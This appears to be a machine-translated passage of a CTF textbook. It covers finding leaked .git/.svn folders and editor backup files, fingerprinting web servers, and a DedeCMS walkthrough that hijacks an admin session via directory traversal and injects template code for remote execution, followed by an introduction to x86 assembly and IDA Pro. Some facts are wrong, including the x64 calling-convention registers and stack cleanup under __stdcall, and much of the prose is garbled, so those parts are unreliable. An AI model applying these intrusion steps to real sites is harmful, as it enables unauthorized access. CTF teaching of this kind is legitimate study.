+Each time you commit, git automatically strings them together into a timeline, which is a branch. And git allows multiple branches, thus allowing users to separate work from the main development thread so that it doesn't interfere with it. If no new branches are created, then there is only one timeline, i.e., only one branch, which defaults to the master branch in git. So the flags or sensitive files we are looking for may not be hidden in the current branch, so using the "git log" command will only find the changes made on the current branch, but not the information we want, so we need to switch branches to find the files we want.
+Most off-the-shelf git leaks do not support branches, so if you need to restore code from another branch, you often need to extract the files by hand, so here is an example of the more powerful GitHacker (https://github.com/WangYihang/GitHacker) tool. Just run the command "python GitHacker.py http://127.0.0.1:8000/.git/". Once you run it, you'll see the folder you created locally, but if you run "git log--all" or "git branch-v", you'll only see the master branch. If you run "git reflog", you can see some checkout records, see Figure 1-1-5.
+ +As you can see, there is a secret branch in addition to the master branch, but the automation tool only restores the information of the master branch, so you need to manually download the head information of the secret branch and save it to .git/refs/heads/secret (execute the command "wget http:// 127.0.0.1:8000/.git/refs/heads/secret"). After restoring the head information, we can reuse some of the GitHacker code to automate the branch restoration process. As you can see in GitHacker's code, he downloads the object file first, then uses git fsck to detect it, and continues to download the missing file. Here you can directly reuse the fixmissing function that detects missing files and restores them. Let's comment out the last part of the program that calls main and change it to the following code.
+ +If you run "python GitHacker.py" again, go to the folder you created, and run "git log--all" or "git branch-v" command, you will be able to recover the secret branch information, find the corresponding commit hash from the git log, and execute the command "git diff HEAD b94c" (b94c is the first 4 bits of the hash) to get the flag, see Figure 1-1-6.
+ +(4) Other uses of git leaks
+In addition to the common exploit of viewing the source code, the leaked git may also contain other useful information, such as the .git/config folder may contain access_token information, which allows access to other repositories of this user.
+2. SVN vulnerability
+SVN (subversion) is the source code version management software, the main reason for SVN source code vulnerability is the administrator's irregular operation to expose the SVN hidden folder to the external network environment, you can use the .svn/entries or wc.db file to obtain the server source code and other information. Here we recommend two tools: https://github.com/kost/dvcs-ripper and Seay-svn (source code backup vulnerability exploit tool for Windows).
+3. HG leak
+When initializing the project, HG will create a .hg hidden folder under the current folder, which contains information such as code and branch modification records. Here is a recommended tool: https://github.com/kost/dvcs-ripper.
+4. Summary of experience
+Whether it is .git these hidden files or sensitive backend folders like admin in practice, the key lies in the power of the dictionary, and the reader can do secondary development on the basis of certain tools to meet their needs. Here is a recommended open source directory scanning tool: https://github.com/maurosoria/dirsearch.
+CTF online competitions often have problems with redirects of one kind or another. For example, as soon as you visit .git, it will return 403, at this time try to visit .git/config, if there are file content returned, it means that there is a git leak, and vice versa, generally does not exist. In SVN leaks, the source code is usually crawled in the entries, but sometimes there are cases where the entries are empty, then pay attention to the existence of the wc.db file or not, and you can get the source code in the pristine folder through the checksum there.
+Through some sensitive backup files, we can often get the source code of a file, or the whole directory of a website, etc.
+1. gedit backup files
+Under Linux, after saving with the gedit editor, a file with the suffix "~" will be generated in the current directory, whose contents are the contents of the file just edited. Assuming that the name of the file you just saved is flag, the file name is flag ~, see Figure 1-1-7. Access this file with "~" through your browser to get the source code.
+ +vim is currently the most used Linux editor. When a user is editing a file but quits unexpectedly (e.g., when connecting to the server via SSH, you may encounter an unexpected exit due to a command line jam caused by insufficient network speed in the process of editing a file with vim), a backup file will be generated in the current directory with the following file name format
+.filename.swp
+
+This file is used to backup the contents of the buffer, i.e. the contents of the file at the time of exit, see Figure 1-1-8.
+ +For the SWP backup file, we can use the "vim-r" command to restore the contents of the file. Here we simulate the execution of "vim flag" command first, and then close the client directly, a .flag.swp file will be generated in the current directory. To restore the SWP backup file, first create a flag file in the current directory, and then use the "vim-r flag" command to get the contents edited during the accidental exit, see Figure 1-1-9.
+ +Regular files rely on the saturation of dictionaries, whether in CTF competitions or in the real world, we will encounter some classic and recognizable files, so that we can better understand the site. Here are just a few simple examples, the specific needs of the reader to collect records by heart.
+❖ robots.txt: record some directory and CMS version information.
+❖ readme.md: Record CMS version information, some even have Github address.
+❖ www.zip/rar/tar.gz: It is often the source code backup of the website.
+4. Summary of experience
+In the process of CTF online competition, the questioner will often operate and maintain the question online, and sometimes various situations will lead to the generation of SWP backup files, so the reader can write real-time monitoring scripts to monitor the question service during the competition.
+The backup file generated by vim in the first unexpected exit is .swp, the one in the second unexpected exit is .swo, the one in the third exit is .swn, and so on. vim's official manual also has backup files of type .un.filename.swp.
+Also, in a real-world environment, backups of a website may often be a zip archive of the website domain.
+In CTF online competition, the Banner information (some basic information displayed by the server to the outside world) of a website has a very important role in solving the problem, and players can often use the Banner information to get ideas for solving the problem. For example, when we know that the website is written with ThinkPHP web framework, we can try the relevant historical vulnerability of ThinkPHP framework. Or when we learn that the site is a Windows server, then we can try based on the characteristics of Windows when testing for upload vulnerabilities. Here are the two most common ways to identify Banner.
+1. collect your own fingerprint library
+Github has a large number of formed and publicly available CMS fingerprint library, readers can find their own, and at the same time can draw on some formed scanners to identify the site.
+2. Use existing tools
+We can use the Wappalyzer tool (see Figure 1-1-10), which also provides a well-formed Python library with the following usage.
+ + +In the data directory, the apps.json file is its rule base, and readers are free to add it according to their needs.
+3. Summary of experience
+In the server Banner information detection, in addition to the two common identification methods mentioned above, we can also try to enter some random URLs, and sometimes we can find some information through 404 pages and 302 bounce pages. For example, a ThinkPHP website with debug option turned on will show the version of ThinkPHP on some error pages.
+The following is a replay of a CTF range race scenario to show how to go from information gathering to getting flags.
+1. Environment information
+❖ Windows 7.
+❖ PHPstudy 2018 (with directory traversal turned on).
+❖ DedeCMS (Weaving Dream CMS, member registration not turned on).
+2. Solution steps
+By visiting the website, according to the observation and Wappalyzer's prompt (see Figure 1-1-11 and Figure 1-1-12), we can find that this is DedeCMS built on Windows, and visiting the default backend directory is found to be 404, see Figure 1-1-13.
+ + + +At this point we can associate DedeCMS on Windows server there is a backend directory blasting vulnerability (the cause of the vulnerability is not described here, the reader can check), we run the local blasting script, get the directory zggga111, see Figure 1-1-14.
+ +However, after testing, we found that the member registration function is turned off, which means we cannot use the member password reset vulnerability to reset the administrator password. What should we do? In fact, in DedeCMS, as long as the administrator has logged in the background, there will be a corresponding session file in the data directory, and this topic happens not to close the directory traversal, see Figure 1-1-15. so we can get the administrator's session value, modify the cookie through editcookie, so as to successfully enter the background, see Figure 1- 1-16.
+ + +Then insert a piece of malicious code in the template's tag source fragment management to execute any command, see Figure 1-1-17 and Figure 1-1-18.
+ + +3. Summary
+This example can reflect the importance of information gathering in two ways.
+❖ One is the information of the server, for Windows server, the probability means we go to find some vulnerability of CMS on it.
+❖ The second is the final RCE (Remote Command/Code Execute) through the characteristics of the CMS website itself combined with directory traversal without knowing the password and being unable to reset it.
+ + + + + + + + +Reverse engineering is a technical process of analyzing and studying a target product in reverse, so as to deduce and derive design elements such as processing flow, organization, functional performance specifications, etc., in order to produce a product with similar but not identical functions. In CTF, reverse engineering generally refers to software reverse engineering, i.e., analyzing the executable file that has been compiled, studying the behavior and algorithm of the program, and then using it as a basis to calculate the flags that the questioner wants to hide.
+Generally, the reverse engineering topic in CTF is in the form of: the program receives an input from the user, and carries out a series of verification algorithms in the program, and if it passes the verification, it will indicate success, at which time the input is the flag. these verification algorithms can be mature encryption and decryption scheme, or can be the author's own algorithm. For example, a mini-game uses the user's input as the operation step of the game to judge, etc. These types of topics require participants to have certain algorithmic skills, thinking skills, and even association skills.
+This section will introduce the basics needed to get started with CTF inverse topics and introduce common tools, assuming the reader has some basic knowledge of C.
+The object of software reverse engineering analysis is a program, i.e., one or more executable files. The following is a brief introduction to the formation process of executable files and common executable file types, so that readers can have a preliminary knowledge of them.
+1. The formation process of executable files (compilation and linking)
+For readers who are new to this area, it is crucial to form a proper understanding and sense of executable files. Again, as something created by human civilization, executable files are not generated directly as if by magic, but through a series of steps.
+The vast majority of normal executables are generated by compiling a high-level language. In general, these processes occur when compiling:
+<1> The user takes a set of source code written in a high-level language as input to the compiler.
+<2> The compiler parses the input and generates the corresponding assembly code for each source code file.
+<3> The assembler receives the compiler-generated assembly code and continues to perform assembly operations, temporarily storing each copy of the generated machine code in the respective object file.
+<4> Now multiple object files have been generated, but the final goal is to generate an executable file. So the linker gets involved, interconnecting the scattered object files and processing them into a complete program. Then, according to the format of the executable file, it fills in various parameters specifying the running environment of the program and finally forms a complete executable file.
+In the actual environment, there is more or less information loss in each step of the process due to the need to consider the size of the generated executable, the runtime performance of the executable, and the protection of information. For example, the comment information in the source code is generally discarded in the compilation stage, the label (label) name in the assembly code may be discarded in the assembly, and the symbolic information such as function name and type name may be discarded in the linking.
+Reverse requires the use of knowledge and experience to restore some of this information, and thus restore all or part of the program flow to achieve various purposes of the analyst.
+2. Executable files in different formats
+In practice, due to historical legacy and competition between companies, etc., the various files generated in each step described above will have multiple file formats. For example, Windows systems use PE (Portable Executable) executables, while Linux systems use ELF (Executable and Linkable Format) executables. Since both executable formats are developed from COFF (Common File Format) format, various concepts in the file structure are very similar.
+PE file consists of DOS header, PE file header, section table and data of each section; meanwhile, if you need to refer to external dynamic link library, there is import table; if you can provide functions to other programs to dynamically.
+The ELF file consists of the ELF header, section data, section table, string segment, and symbol table.
+Sections are logical divisions of sections in a program, usually with specific names, such as .text or .code for code sections, .data for data sections, etc. At runtime, the sections of an executable are loaded into various locations in memory, and one or more sections are mapped into a Segment for ease of management and to save overhead. Segments are divided according to the permissions (read, write, execute) required for this part of memory. If an illegal operation is performed in the corresponding segment, such as a write operation in a code segment that can only be read and executed, a Segmentation Fault is generated.
+Since the basic format details of PE and ELF are fully disclosed and there are a lot of mature tools for parsing and modifying them, we will not explain these format details in detail here.
+After parsing the file, the reverser is confronted with a large piece of machine code, which is directly generated by the assembly language.
+The following is an introduction to the key concepts of assembly language, so that readers can quickly understand assembly language.
+1. Registers, memory and addressing
+Register is a part of CPU, which is a high-speed storage component with limited storage capacity, used to temporarily store instructions, data and addresses. A typical IA-32 (Intel Architecture, 32-bit), or x86 architecture processor contains the following registers that are explicitly visible in instructions:
+❖ General-purpose registers EAX, EBX, ECX, EDX, ESI, EDI.
+❖ Top-of-stack pointer register ESP, bottom-of-stack pointer register EBP.
+❖ Instruction counter EIP (holds the address of the next address of the next instruction to be executed).
+❖ Segment registers CS, DS, SS, ES, FS, GS.
+For the x86-64 architecture, based on these registers above, the prefix E is changed to R to mark 64 bits, and eight general-purpose registers, R8 to R15, are added. In addition, for the 16-bit case, the prefix E is removed altogether. 16-bit, there are certain restrictions on the use of registers, which will not be repeated in this book since they are not mainstream now.
+For general-purpose registers, the program can use all of them or only part of them. The corresponding helpers for different parts of the registers are shown in Figure 5-1-1, where the naming rules for splitting R8 to R15 are R8d (low 32 bits), R8w (low 16 bits) and R8b (low 8 bits).
+ +There is also a flag register in the CPU, where each bit indicates the value of the corresponding flag bit. The commonly used flag bits are as follows.
+❖ AF: Auxiliary Carry Flag, set to 1 when the result of the operation is entered in the third bit.
+❖ PF: Parity Flag, set to 1 when the lowest valid byte of the operation result has an even number of ones.
+❖ SF: Sign Flag, set to 1 when the sign bit of the sign shaping is 1, representing that it is It means it is a negative number.
+❖ ZF: Zero Flag, set to 1 when the operation result is all zeros.
+❖ OF: Overflow Flag, set to 1 when the operation result is a signed number and overflows.
+❖ CF: Carry Flag, set to 1 when the operation result is fed above the highest bit, used to determine the overflow of unsigned numbers.
+The CPU can operate not only on registers, but also on memory cells, so there are many different addressing methods. Table 5-1-1 shows the different addressing methods of CPU, examples and the corresponding operation objects.
+ +It is easy to see that "[]" is equivalent to the "*" operator in C (indirect access).
+In the x86/x64 architecture, the four addressing methods, namely register indirect addressing, base addressing, variable addressing, and base plus variable addressing, are almost identical in terms of the functions they achieve, but there are semantic differences. In the 16-bit era, these four addressing methods cannot be mixed. In modern compilers, the compiler will choose the appropriate addressing method based on semantics and optimization.
+2. x86/x64 assembly language
+The x86/x64 assembly language exists in two display/writing styles, Intel and AT&T, and this chapter will unify the Intel style.
+What is machine code? What is assembly language? Machine code is a binary instruction executed directly on the CPU, and assembly language is a kind of helper for machine language, assembly language and machine code are one-to-one correspondence. Machine code varies according to CPU architecture. The most common CPU architectures for CTF and usual are x86 and x86-64 (x64).
+The basic format of x86/x64 assembly instructions is as follows.
+Where the presence or absence and form of operands is determined by the type of operand. Due to space limitation, this section cannot describe the format and functions of various instructions in an exhaustive manner. Table 5-1-2 gives the forms, functions, and corresponding high-level language writing methods of several common instructions. Entry-level CTF participants do not need to master how to write assembly language programs fluently, but only need to master the common instructions described below and be able to read and understand them when they encounter them.
+ +There are many conditional jump instructions in assembly language, and they will jump conditionally depending on the flag bits. A cmp instruction for comparison often exists before the conditional jump instruction and will set the flag bit accordingly based on the result of the comparison (the effect on the flag bit is equivalent to the sub instruction).
+Table 5-1-3 shows the common conditional jump instructions and the cmp and flag bits they are based on.
+ +3. Disassembly
+While high-level languages often require a complex compilation process, the assembly process simply translates the assembly statements directly into the corresponding machine code and places the statements directly adjacent to each other. Therefore, we can easily translate the machine code back to assembly language, and such a process is called disassembly.
+As mentioned in Section 5.1.2, the assembly process also has information loss. Although we can easily parse and restore the content of a given instruction, we must know which data is machine code before we can parse it accordingly. The von Neumann architecture blurs the boundary of distinction between code and data, and jump tables, pools of constants (ARMs), ordinary constant data, and even malicious interference data may be interspersed in code sections. Therefore, simply and directly parsing instructions down one by one in succession is often problematic. We need to know the correct starting position of the instruction (e.g., label, which is used to indicate a location of the program for jumping and addressing) to guide the disassembly tool to parse the code correctly.
+As mentioned above, the label information is lost during the assembly process. Because the label is used to identify the jump position, it determines where the program is likely to be executed when it is executed, i.e., where the assembly statement starts. Therefore, restoring the correct label information is essential to correctly restore the program execution flow.
+In spite of the missing information, we can still successfully restore the program flow by using some algorithms. Two known algorithms are described below: the linear scan disassembly algorithm and the recursive descent disassembly algorithm.
+The linear scan disassembly algorithm is simple and brute-force, parsing instructions one after another directly from the beginning of the code segment until the end. The disadvantage is that once data is inserted into the segment, all subsequent disassembly results are wrong and useless.
+Instead of simply parsing the instructions and displaying them, the recursive descent disassembly algorithm is a new algorithm created after discovering the problems with the linear scan disassembly algorithm, which tries to speculate how the program will be executed after each instruction is executed. For example, a normal instruction will execute directly to the next one after execution, an unconditional jump instruction will immediately jump to the target location, a function call instruction will temporarily jump out and return to continue execution, a return instruction will terminate the current execution process, and a conditional jump instruction may split into two paths that go to different locations under different conditions. The engine first matches some known patterns (patterns) to the starting position, then traces the execution of the program one by one according to the execution pattern of the instructions, and finally disassembles the program completely.
+4. Calling convention
+As the size of the software increases, the number of developers continues to increase, the relationship between functions synchronization becomes more and more complex, if each developer uses different rules to pass function parameters, the program will often be a variety of unbelievable errors, the program maintenance costs will become very large. For this reason, after the advent of compilers, some conventions, called calling conventions, were created for compilers to specify the passing of arguments between functions. The common calling conventions are as follows.
+(1) Calling convention for x86 32-bit architecture
+❖ __cdecl: parameters are pressed onto the stack in order from right to left, and when the call is finished, the caller is responsible for cleaning up these pressed parameters and placing the return value in EAX. The vast majority of C programs for x86 platforms use this convention.
+❖ __stdcall: The arguments are also pressed onto the stack from right to left, and the caller is responsible for cleaning up the pressed arguments after the call, with the return value also placed in EAX.
+❖ __thiscall: A calling convention optimized specifically for class methods, which places the this pointer of the class method in the ECX register and then presses the rest of the arguments onto the stack.
+❖\ __fastcall: A calling convention made for speeding up calls by placing the 1st argument in ECX, placing the 2nd argument in EDX, and then pressing the subsequent arguments onto the stack from right to left.
+(2) Calling convention for x86 64-bit architecture
+❖ Microsoft x64 bit (x86-64) calling convention: used on Windows, the first 4 parameters are put into the 4 registers RDI, RSI, RDX, RCX in turn, and then the remaining parameters are pressed into the stack from right to left.
+❖ SystemV x64 calling convention: used on Linux, MacOS, two more registers than Microsoft's version, use the 6 registers RDI, RSI, RDX, RCX, R8, R9 to pass the first 6 parameters, and press the rest on the stack from right to left.
+5. Local variables
+When writing programs, programmers often use local variables. But in assembly there are only registers, stacks, writable segments and heaps, where should the local variables of a function exist? It is important to note that local variables are "volatile": once the function returns, all local variables become invalid. Given this property, local variables are stored on the stack, and each time a function is called, the program allocates a section of space on the stack to store the local variables.
+Each function, when called, creates such a region for local variables, a region for storing return addresses, and a region for arguments, see Figure 5-1-2. The program calls the function one layer deeper, and each function's own region is stacked on the stack one layer at a time.
+ +People call this area of each function itself a frame, and because these frames are on the stack, they are also called stack frames. However, the memory area of the stack is not necessarily fixed, and the location of the stack frames can vary with each call's path, so how can local variables be referenced correctly?
+While the contents of the stack will always keep changing as it goes in and out of the stack, the offset of each local variable in a function relative to the stack frame of that function is fixed. So a register can be introduced to specifically store the location of the current stack frame, i.e., ebp, called the frame pointer. The program assigns ebp to a location in the middle of the stack frame during the function initialization phase, so that all local variables can be referenced with ebp. Since the parent function on the upper level also has to use ebp, it is necessary to save ebp at the beginning of the function and then assign ebp to the value of its own stack frame, such a flow is the classic combination in assembly code.
+ +The stack frame of each function now consists of four parts: local variables, the value of the parent stack frame, the return address, and the parameters. It can be seen that ebp, after initialization, actually points to the location where the address of the parent stack frame is stored. Therefore, *ebp forms a chain table representing a chain of function calls at one level.
+With the development of compilation technology, the compiler can also refer to local variables by tracking the location of the stack at the time of each instruction execution, thus directly crossing over ebp and using the stack pointer esp instead. This saves the time needed to save ebp each time and adds a general-purpose register, thus improving program performance.
+So now there are two kinds of functions: those with frame pointers, and those optimized without frame pointers. Modern analysis tools (e.g. IDA Pro, etc.) will use advanced stack pointer tracing methods to target these two types of functions so that local variables are handled correctly.
+This section introduces the tools commonly used in software reverse engineering, the specific use of tools will be described in subsequent sections.
+1. IDA Pro
+IDA (Interactive DisAssembler) Pro (hereinafter referred to as IDA) is a powerful executable analysis tool, including but not limited to x86/x64, ARM, MIPS and other architectures, PE, ELF and other formats of executable files for static analysis and dynamic debugging. IDA integrated Hex-Rays Decompiler, which provides decompiling functions from assembly language to C pseudocode, can greatly reduce the workload when analyzing the program, its interface is shown in Figure 5-1-3 and Figure 5-1-4.
+ + +2. OllyDbg and x64dbg
+OllyDbg is an excellent debugger for Windows 32-bit environment and its most powerful feature is its extensibility. Many developers have developed plug-ins for it with various functions that can bypass many software protection measures. However, OllyDbg is no longer available in the 64-bit environment, and many people have therefore turned to x64dbg.
+The interfaces of OllyDbg and x64dbg are shown in Figure 5-1-5 and Figure 5-1-6.
+ + +3. GNU Binary Utilities
+The GNU Binary Utilities (binutils) is a chain of tools provided by GNU for binary file analysis. the tools included are shown in Table 5-1-4. Figure 5-1-7 and Figure 5-1-8 show examples of simple applications of the tools in binutils.
+ + + +4. GDB
+GDB (GNU Debugger) is a command-line debugger provided by GNU, with powerful debugging functions and source-level debugging support for programs containing debugging symbols, as well as support for writing extensions using the Python language, and the extension plug-ins generally used are gdb-peda, gef or pwndbg. Figure 5-1-10 shows the command line interface when using the gef plugin.
+ + + +The most basic method of reverse engineering is static analysis, i.e., instead of running the binary program, various information such as machine instructions in the program files are analyzed directly. At present, the most commonly used tool for static analysis is IDA Pro. This section introduces the general method of static analysis based on the use of IDA Pro.
+The code file required for this section is 1-helloworld.
+1. open the file
+IDA Pro is one of the industry's most mature and advanced disassembly tools, using a recursive descent disassembly algorithm, this section will initially introduce the use of IDA Pro.
+IDA's interface is very simple, after installation will pop up the license agreement (License) window, follow the interface prompts to enter the Quick Start interface, see Figure 5-2-1.
+ +In the interface, click the "New" button, and in the pop-up dialog box to select the file to open, you can also click the "Go" button, and then drag and drop the file into the open interface, or by clicking the " Previous" button, double-click the list item, etc. to quickly open the previously opened file.
+Note that you need to select the correct architecture version (32bit/64bit) before opening the file. Users can use tools such as file to view the architecture information of the file, but a more convenient solution is to open a random architecture of IDA, and then you can know the architecture information of the file when loading, see Figure 5-2-2, IDA shows that the file is an x86-64 architecture ELF64 file, so switch to the 64bit version of IDA to open again, after opening the pop-up will be "Load a new file" dialog box.
+ +2. Load a file
+The options in the "Load a new file" dialog box are mainly for advanced users, beginners can use the default settings, do not need to change, click the "OK" button, load the file into the IDA. Click the "No" button to enter the normal disassembly interface. At this point, IDA will generate a database (IDB) for the file, the entire file required content into it, see Figure 5-2-3. later analysis will no longer need to access the input file, the various changes to the database will also be independent of the input file.
+The interface in Figure 5-2-3 is divided into several parts, which are described below.
+❖ Navigation bar: Shows the distribution of different types of data (ordinary functions, code of undefined functions, data, undefined, etc.) of the program.
+❖ Main window of disassembly: Displays the result of disassembly, control flow diagram, etc., which can be dragged, selected, etc.
+❖ Function window: displays all function names and addresses (drag the scroll bar below to see them), and can be filtered by Ctrl+F key combination.
+❖ Output window: display the log of IDA during running, you can also enter commands in the input box below and execute them.
+❖ Status Indicator: Showing as "AU: idle" means IDA has finished the automated analysis of the program.
+In the disassembly window, use the right-click menu or the shortcut key space to switch between control flow diagram and text interface disassembly, see Figure 5-2-4.
+ + +3. Data Type Operation
+One of the highlights of IDA is that the user can freely control the flow of disassembly through interface interaction. In the process of loading the file, IDA has done its best to automatically define the type of a large number of locations for the user, such as IDA correctly labeled most of the data in the code segment as code type and disassembled it, and labeled some of the locations in the special segment as 8-byte integer qword. however, IDA's ability is limited and generally does not correctly label all data types, and the user can correct the problems with IDA by correctly defining the type of a 1-byte or segment area for better disassembly work.
+Lower versions of IDA do not have an undo function, so you need to be careful before operating and to master the opposite operation corresponding to these operations.
+The user can distinguish the type of data in a location by the color of the address. The location marked as code, its address will be shown in black; the location marked as data, gray display; undefined data type location will be shown in yellow, black box location that is the different color address, see Figure 5-2-5.
+ +The following are some of the shortcut keys for the defined data types. When using these shortcut keys, you need to have the focus (cursor) on the corresponding line in order for them to take effect.
+❖ U (Undefine) key: This is to cancel the existing data type definition in a place, and a confirmation dialog box will pop up.
+❖ D (Data) key: i.e., make a certain position into data. IDA to prevent misuse, if the operation of defining data will affect the location of the existing data type, IDA will pop up a confirmation dialog box; if the operation of location and its vicinity are completely Undefined, the confirmation dialog box will not pop up.
+❖ C (Code) key: i.e., make a location into a command. The timing of the confirmation dialog pop-up is also similar to the D key. After being defined as a command, IDA will automatically use this as the starting position for recursive descending disassembly.
+Above are the basic shortcuts for defining data. To cope with the increasing complexity of data types, IDA also has various built-in data types, such as arrays, strings, etc.
+❖ A (ASCII) key: It will define a string type ending with "\0" starting from this position, see Figure 5-2-6.
+ +❖ * key: Define this as an array, and then a dialog box will pop up to set the properties of the array.
+❖ O (Offset) key: Define this as an address offset, see Figure 5-2-7.
+ +4. Function Operation
+In fact, disassembly is not completely continuous, but rather a patchwork of scattered individual functions. Each function has local variables, calling conventions and other information, and control flow diagrams can only be generated and displayed in terms of functions, so it is also very important to define functions correctly. IDA also has operations for handling functions.
+❖ Delete a function: After selecting a function in the function window, press Delete.
+❖ Define a function: After selecting the corresponding line in the disassembly window, press P.
+❖ Modify function parameters: Select and press the Ctrl+E key combination in the function window, or press Alt+P key combination inside the function in the disassembly window.
+After defining the function, IDA can perform many function-level analyses, such as call convention analysis, stack variable analysis, function call parameter analysis, etc. These analyses are of direct and great help to restore the high-level semantics of disassembly.
+5. Navigation
+Although it is possible to switch between different functions by mouse clicks, as the size of the program increases, it seems unrealistic to use this way to locate them. î IDA has the function of navigation history, similar to Explorer and browser history, which allows you to go back or forward to a certain browsing place.
+❖ Go back to the previous location: shortcut Esc.
+❖ Go forward to the next location: shortcut Ctrl+Enter.
+❖ Jump to a specific location: shortcut G, then you can enter the address/already defined name.
+❖ Jump to a particular zone: shortcut Ctrl+S, and then you can select the zone.
+6. Type manipulation
+IDA has developed a type analysis system to handle various data types (function declarations, variable declarations, structure declarations, etc.) of C/C++ language and allows users to specify them freely. This definitely makes the reduction of disassembly more accurate. Select the variable, function and press Y, "Please enter the type declaration" dialog box, enter the correct C type, IDA can parse and automatically apply the type.
+7. IDA mode of operation
+IDA shortcut key design has a certain pattern, so we can strengthen the memory of the shortcut key, so that the reverse speed faster and more comfortable.
+Here are some operation patterns and learning techniques summarized in the usual practice.
+❖ Various operations in IDA's disassembly window will have different functions when selected and when unselected. For example, the operation corresponding to the shortcut key C can specify the scan area for recursive descending disassembly when the disassembly window is selected.
+❖ Some of the shortcut keys in IDA's disassembly window have different functions when used multiple times. For example, the shortcut key O will resume the first operation when used a second time on the same location.
+❖ IDA's right-click shortcut menu will be labeled with various shortcut keys.
+❖ IDA's dialog box buttons can be replaced by mouse clicks by pressing their initials (e.g. the "Yes" button can be replaced by mouse clicks by pressing the Y key).
+We can master these patterns to quickly learn IDA shortcuts, and basically do not need to press the control keys (Ctrl, Alt, Shift) shortcut features make IDA operation more interesting.
+8. IDAPython
+IDAPython is a Python environment built into IDA, you can perform a variety of database operations through the interface, it can now execute most of the C++ functions in the IDA SDK and all IDC functions, it can be said to have both the convenience of IDC and the power of the C++SDK.
+Press Alt+F7 key combination, or select "File→Script file" menu command, you can execute Python script files; output window also has a Python Console box, you can temporarily execute Python statements; press Shift+F2 key combination, or Select the "File→Script command" menu command to open the script panel, and change "Scripting language" to "Python ", you can get a simple editor, see Figure 5-2-8.
+ +9 IDA's other functions
+IDA's menu bar "View→Open subviews" can open various types of windows, see Figure 5-2-9.
+ +Strings window: press Shift+F12 to open it, see Figure 5-2-10, you can identify the strings in the program, double-click to locate the target string in the disassembly window.
+ +Hexadecimal window: Opened by default, you can press F2 to modify the data in the database, and press F2 again to apply the changes after modification.
+The basic operations of IDA introduced in section 5.2.1 are to allow IDA to correctly identify the data types and functions of a location. These operations partially restore the information loss caused by the linker and assembler mentioned in the executable (see section 2.4.7). The decompiler presented in this section will try to restore the information loss caused by the compiler and continue to restore the functions composed of these assembly instructions to a read-friendly form. Therefore, getting the decompiler to work correctly requires the correct definition of data types and the correct identification of functions.
+This section introduces HexRays Decompiler (HexRays for short), the world's most advanced and sophisticated decompiler that is publicly available. HexRays runs as a plug-in to IDA and is developed by the same company as IDA and has a strong connection to IDA. hexRays makes full use of the function local variables and data types determined by IDA, and generates C-like pseudocode after optimization. Users can browse the generated pseudocode, add comments, rename identifiers, modify variable types, switch the data display format, etc.
+1. generate pseudocode
+To use this plug-in, you need to let it generate pseudocode. The operation required to generate pseudocode is very simple, just locate the target function in the disassembly window and press the F5 key. Once the plug-in is running, a window will open showing the decompiled pseudocode, see Figure 5-2-11. Selecting the list of functions on the left side allows you to switch to a different function without returning to the disassembly window.
+When the cursor moves to identifiers, keywords, and constants, the same content in other positions will be highlighted for easy viewing and operation.
+2. Pseudocode Composition
+The pseudocode generated by HexRays has a certain structure. After decompiling each function, the first line is the prototype of the function, then the declaration area of local variables, and finally the statements of the function.
+The upper part of this is the variable declaration area. Sometimes the area for larger functions can be too long to read and can be collapsed by clicking "Collapse declaration".
+Note that the comments following each local variable actually represent the location of that variable. This information will make it easier to understand the behavior of the corresponding assembly code.
+In addition, most of the variable names in the pseudocode are automatically generated and may vary from machine to machine or from version to version of IDA.
+3. Modify Identifiers
+Looking at the IDA generated pseudocode 2-simpleCrackme.c (see Figure 5-2-12), you can see that HexRays is very powerful and has automatically named many variables. However, the names of these variables have no real meaning, and as the size of the function becomes larger, meaningless variable names will seriously affect the analysis efficiency. Therefore, HexRays provides users with the ability to change the name of an identifier: move the cursor to the identifier and press N to bring up the Change Name dialog box, enter a legal name in the input box, and click the OK button. The modified pseudo-code is easier to read and analyze.
+ +Note: IDA generally allows the use of identifiers in line with the C language syntax, but will be used as a reservation of certain prefixes, in the manual specification of the name, such a prefix can not be used, please readers are prompted to change the name after being prompted for errors.
+4. switch the data display format
+After renaming, the 2-simpleCrackme.c pseudocode has been restored to be similar to the source code (see Figure 5-2-12). However, many constants are not displayed in the correct format, for example, 0x66 in the source code becomes decimal number 102, and 'a' and 'A' are converted to their ASCII counterparts of decimal numbers 97 and 65.
+ +HexRays is not powerful enough to automatically label these constants, but HexRays provides the ability to display constants into various formats. Move the cursor over a constant and right-click to select the corresponding format in the pop-up shortcut menu, see Figure 5-2-13.
+ +❖ Hexadecimal: Hexadecimal display, with the shortcut key H, can convert various other display formats back to numbers.
+❖ Octal: Octal display.
+❖ Char: Converts constants to a format shaped like 'A', the shortcut key is R.
+❖ Enum: Converts a constant to a value in an enumeration, the shortcut key is M.
+❖ Invert sign: convert a constant to a negative number by its complement, the shortcut key is _.
+❖ Bitwise negate: Invert the constant by bit, like ~0xF0 in C language, the shortcut key is ~. +After the manual operation to convert some display format, the decompiled pseudocode is more consistent with the source code, see Figure 5-2-14.
+ +HexRays shortcuts are sometimes not triggered, try using the right-click shortcut menu when it fails.
+5. Modifying Variable Types
+The companion file to this section is 2-simpleCrackme_O3. After compiler optimization, the difficulty of recovering the semantics increases exponentially. Even though HexRays are extremely powerful, they often have problems in the face of complex compiler optimizations.
+This section uses the executable generated by compiling with the GCC compiler with the O3 optimization switch turned on. The same source code undergoes a complex compiler optimization process and the resulting pseudocode can change quite a bit, see Figure 5-2-15.
+ +The pseudocode converts some constants at the beginning to display format, which is the middle part of the string in the program stored as dword and qword, respectively. In fact, the original string assignment operation has become 128-bit floating-point assignment + 64-bit qword assignment + 32-bit dword assignment. HexRays thus identifies the string array as three variables: v6 of type __m128i, v7 of __int64, and v8 of int, resulting in poor readability of the pseudocode generated later.
+Hint: byte-1 byte integer type, 8 bits, char, __int8.
+word-2 byte integer, 16 bits, short, __int16.
+dword-4-byte integer, 32 bits, int, __int32.
+qword-8-byte integer, 64 bits, __int64, long long.
+The variables v6, v7, v8 are actually entire arrays of strings. If the user can correctly specify the type of the variables, the accuracy and readability of decompiling will be greatly improved.
+HexRays makes full use of the type analysis system of IDA introduced earlier. Press Y on the identifier of the type to be modified to bring up a dialog box to modify the type. For this program, according to the calculation, the 3 variables should actually be a char array of length 28 (16+8+4) starting with v6, so its corresponding C type declaration is char[28] (the identifier can be omitted in the type declaration).
+Then move the cursor to v6, press Y, type "char[28]", and a confirmation dialog box will pop up whether to overwrite the subsequent variables, click the "Yes" button.
+Rename these variables again, and you can get the readable pseudo-code, see Figure 5-2-16.
